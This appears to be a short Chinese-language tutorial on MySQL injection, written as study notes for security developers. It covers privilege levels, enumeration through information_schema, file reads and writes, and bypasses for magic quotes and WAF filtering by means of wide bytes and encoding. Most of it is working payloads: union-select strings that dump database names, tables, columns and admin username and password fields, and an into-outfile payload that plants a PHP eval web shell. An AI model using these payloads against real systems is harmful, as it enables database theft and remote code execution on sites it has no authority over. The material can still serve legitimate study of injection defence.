MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆。作为安全开发工作者,攻防兼备。
注入点权限是否为root,取决于连接数据库的文件。这也决定了高权限注入及低权限注入
跨库查询及应用思路
information_schema 表特性,记录库名,表名,列名对应表
获取所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
查表,找与网站对应的数据库名,若没有,则挨个查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'
跨库查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'
查结果。。。
?id=-1 union select 1,u,p from qqyw.admin
文件读写操作
load_file():读取文件函数
into outfile或者into dumpfile:导出函数
路径获取常见方法:
报错显示 (phpinfo.php) ,遗留文件 ,漏洞报错,平台配置文件
常见读取文件列表:(需得知网站绝对路径)
union select 1,load_file('D:\phpmyadmin\dudu.txt'),3
常见写入文件问题:魔术引号开关
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\www\dudu.php'
魔术引号及常见保护
php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'单引号,"双引号,反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法构成威胁。
编码或者宽字节进行绕过
isset无法绕过 替换关键字
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
自定义关键字替换
WAF对常见攻击语句进行报错,绕过思路
低版本注入配合读取或者暴力
5.0版本以下,跑字典。。
字典或读取